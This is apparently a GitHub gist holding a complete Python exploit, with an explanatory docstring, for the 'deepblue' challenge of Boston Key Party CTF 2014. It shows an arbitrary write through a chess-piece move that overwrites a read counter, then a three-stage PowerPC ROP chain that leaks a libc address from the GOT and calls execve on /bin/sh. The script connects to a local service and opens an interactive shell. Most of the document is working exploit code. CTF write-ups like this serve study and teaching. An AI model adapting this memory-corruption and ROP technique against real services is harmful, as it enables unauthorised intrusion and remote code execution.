Last active
August 29, 2015 14:05
-
-
Save NickStephens/1e3cb0ea6b964cbc8ec9 to your computer and use it in GitHub Desktop.
bkp ctf 2014 deepblue writeup/exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
''' | |
mike_pizza | |
exploit for deepblue-500 | |
from boston key party | |
vulnerability: | |
* moving the queen piece leads to arbitrary write, however you cannot | |
control the value of the queen peice, so it is not a write-what-where, | |
just a write-where. | |
exploitation process: | |
* move the queen piece over a saved stack counter. this counter is | |
normally used to limit the number of bytes of read onto the stack | |
upon setting a new high score. We overwrite this value with a pointer | |
to the queen struct. This is ~0x10000000 which is pointer to the heap. | |
* move the rook piece back and forth to rack up points and beat the | |
high score. we forfeit after a certain number of moves. | |
* we'll be prompted to enter a our name now because we are the new | |
high scorer. We overwrote the count with the queen peice so the | |
server's recv call will try to read in ~0x10000000 bytes. This allows | |
us to write over saved return addresses and stack pointers. We our | |
stage-1 ROP payload and enough bytes to cause and EFAULT on the other | |
end. | |
stage-1 rop payload: | |
| ppc stores returning stack frames like this: | |
| saved stackpointer | -junk- | saved return address | | |
* ROP to a 0x10002fc3, which allows us to control the arguments | |
passed to the read_all_bytes function, which deepblue calls | |
normally when reading in a new topscorer. | |
Set our saved stackpointer to the bss which we control 32 bytes | |
of this is what allows us to control our arguments to the | |
0x10002fc3 call. | |
This first ROP will copy in our stage-2 ROP stack into the | |
bss and transfer control to it. | |
The rationale for the stage-1 rop stack is to allow us to have | |
known addresses to transfer the stackpointer to on function return. | |
stage-2 rop payload: | |
* Call set_top_score passing in a pointer into the GOT. This will | |
set the top score bss attribute to point to into the GOT. | |
* Call print_top_score to leak the libc address of read stored in | |
the GOT. | |
* call 0x10002fc3 again to read in our final stage-3 ROP payload | |
stage-3 rop payload: | |
* set r5 to zero with rop gadget to 0x10002a90 (set_memcpy), this | |
calls memcpy which zeroes out r5. | |
* set r3 to an address to a calculated address to "/bin/sh" | |
* set r4 to a pointer to zero. This value was somehow set to a padding | |
* call execve | |
''' | |
import socket | |
import struct | |
import string | |
import telnetlib | |
import time | |
got = 0x10013ff0 | |
stack2 = 0x10014078 | |
first_stackaddr = got | |
r3pop = 0x10002c44 # takes r3 off of stack | |
set_memcpy = 0x10002a90 | |
read_all = 0x10002bc0 | |
topscore_ptr = 0x10014064 | |
source = 0x1000 | |
set_topscore = 0x10002ab8 | |
#print_topscore = 0x10002958 | |
print_topscore = 0x10002968 | |
# bkp libc | |
#read_off = 0x0e304c | |
#sys_off = 0x04dee0 | |
#binsh_off = 0x15B38C | |
# my libc | |
read_off = 0xe4fc8 | |
sys_off = 0x04ed40 | |
sys_sum_off = 0x04ebe4 | |
binsh_off = 0x15e990 | |
execve_off = 0xbe030 | |
# this function will attempt to | |
# finish the game of chess | |
def finishgame(s): | |
#moves = ("a1-a3","a0-a2","a2-d2","d2-d4","d4-d7") | |
moves = ("a1-a3", "a0-a2", "a2-a0", "a0-a2","a2-a0", "a0-a2", "a2-a0","x0-x0") | |
for move in moves: | |
buf = readuntil(s, "white> ") | |
if "Invalid Move" in buf: | |
return False | |
s.send(move) | |
return True | |
def readuntil(s, mesg): | |
buf = "" | |
while not mesg in buf: | |
buf += s.recv(1) | |
return buf | |
def p(v): | |
return struct.pack(">I", v) | |
while True: | |
s = socket.create_connection(("localhost", 2323)) | |
readuntil(s,"white> ") | |
# overwrite the saved counter | |
s.send("e0-a-12") | |
if not finishgame(s): | |
print "Lost the game... reconnecting" | |
s.close() | |
continue | |
readuntil(s,"Enter your name: ") | |
# testing | |
#payload = p(read_all)*(308/4)# padding can control the stack of the | |
#payload = (p(read_all)*8).ljust(308, "C") | |
''' | |
payload = "A"*8 | |
payload += p(0x1001405c)#r9 | |
payload += p(stack2+0x20) #dest | |
payload += "A"*8 # 0x10002fc3 continue with readall | |
payload += p(stack2) #src | |
payload = payload.ljust(308, "C") | |
payload += p(stack2) | |
payload += "JUNK" | |
payload += p(set_memcpy) | |
payload += "A" * 50000 # cause an EFAULT on the other end | |
''' | |
# forged topscore struct of | |
# Patrick H | |
# NULL | |
ropstack = "".ljust(308 - 4, "Z") | |
# make a FUCK ton of room for printf stack frames | |
mult = 2000 | |
# set the top score to a got entry | |
ropstack += p(0x100141d4 + (mult * 4)) # next stackframe | |
ropstack += "JUNK" | |
ropstack += p(set_topscore) | |
ropstack += "A"*((mult* 4) + 12) | |
ropstack += p(got+12) #r9 | |
ropstack += "B" * 32 | |
# leak the GOT by printing the top score | |
ropstack += p(0x1001614c) # new stack | |
ropstack += "JUNK" | |
ropstack += p(print_topscore)# copy the got now | |
# read in new rop stack with calculated libc offsets | |
# new ropstack loaded in at 0x10016174 | |
ropstack += "C"*4 | |
ropstack += p(0x1001615c) | |
ropstack += "JUNK" | |
ropstack += p(0x10002f3c) | |
ropstack += p(0x10016308)*3 # this gets put into r4 when we execve | |
ropstack += p(376 + 8 + 44 + 11) | |
size = len(ropstack) + 3 | |
payload = "E"*12 | |
payload += p(size) | |
payload = payload.ljust(308, "C") | |
payload += p(stack2) | |
payload += "JUNK" | |
payload += p(0x10002f3c) | |
payload += "F" * 0xb1c # cause an EFAULT on the other end | |
s.send(payload) | |
time.sleep(1) | |
s.send(ropstack) | |
# we should get our leaked got in the form of a top score | |
readuntil(s,"->") | |
gotentry = s.recv(64) | |
gotentry = gotentry.lstrip() | |
gotentry = gotentry.split(" ")[0] | |
read_addr = int(gotentry) | |
execve_addr = p(read_addr + (execve_off - read_off)) | |
binsh_addr = p(read_addr + (binsh_off - read_off)) | |
#print "0x%x" % (read_addr + (execve_off- read_off)) | |
time.sleep(1) | |
# set r5 | |
ropstackf = "".ljust(308, "M") | |
ropstackf += p(0x100162b8) | |
ropstackf += "JUNK" | |
ropstackf += p(set_memcpy) | |
ropstackf += "A"*12 | |
ropstackf += p(0x10016368) | |
ropstackf += p(0x10016368) | |
ropstackf += "A" * 8 | |
ropstackf += p(0x10016368 + 0x20) | |
ropstackf += "A"*16 | |
# set r3 | |
ropstackf += p(0x100162f4) | |
ropstackf += "JUNK" | |
ropstackf += p(r3pop) | |
ropstackf += p(0x10016308)*3 | |
ropstackf += binsh_addr | |
# call execve | |
ropstackf += "B" * (44 - 12) | |
ropstackf += p(0x100183bc) | |
ropstackf += "JUNK" | |
ropstackf += execve_addr | |
s.send(ropstackf) | |
print "[+] shell dropped" | |
t = telnetlib.Telnet() | |
t.sock = s | |
t.interact() | |
break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment